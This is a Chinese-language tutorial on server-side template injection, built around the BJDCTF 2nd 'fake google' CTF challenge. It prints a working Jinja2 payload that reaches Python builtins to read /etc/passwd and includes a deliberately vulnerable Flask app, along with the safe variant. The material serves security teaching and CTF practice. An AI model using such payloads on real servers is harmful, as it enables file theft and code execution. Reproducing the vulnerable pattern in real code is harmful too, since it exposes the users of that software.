1. 程式人生 > 實用技巧 >ssti注入(伺服器模板注入) && BJDCTF 2nd fake google

ssti注入(伺服器模板注入) && BJDCTF 2nd fake google

參考連結:

https://www.cnblogs.com/buchuo/p/12559408.html

https://www.cnblogs.com/tiaopidejun/p/12357245.html

https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0

0x00:SSTI介紹

ssti注入又稱伺服器端模板注入攻擊(Server-Side Template Injection),和sql注入一樣,也是由於接受使用者輸入而造成的安全問題。

它的實質就是伺服器端接受了使用者的輸入,沒有經過過濾或者說過濾不嚴謹,將使用者輸入作為web應用模板的一部分,但是在進行編譯渲染的過程中,執行了使用者輸入的惡意程式碼,造成資訊洩露,程式碼執行,getshell等問題。

這個問題主要是出在web應用模板渲染的過程中,目前比較流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity

百度百科:模板引擎(這裡特指用於Web開發的模板引擎)是為了使使用者介面與業務資料(內容)分離而產生的,它可以生成特定格式的文件,用於網站的模板引擎就會生成一個標準的HTML文件。

0x01:測試方法

BJDCTF 2nd fake google

輸入任何東西,都會顯示在頁面上

<script>alert('1')</script> 還有XSS但沒用

測試payload

?name={{2*3}}

?name={{1+2}} //這個需要把 + URL編碼一下 即 {{1%2b2}}

python3 讀取檔案

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

ssti注入工具

https://github.com/epinna/tplmap

一題:https://blog.csdn.net/qq_40827990/article/details/82940894

python OS 模組執行命令

簡單的漏洞測試程式碼

from flask import Flask, request
from jinja2 import Environment

app = Flask(__name__)
Jinja2 = Environment()

@app.route("/page")
def page():

    name = request.values.get('name')
    
    # SSTI VULNERABILITY
    # The vulnerability is introduced concatenating the
    # user-provided `name` variable to the template string.
    output = Jinja2.from_string('Hello ' + name + '!').render()
    
    # Instead, the variable should be passed to the template context.
    # Jinja2.from_string('Hello {{name}}!').render(name = name)

    return output

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

1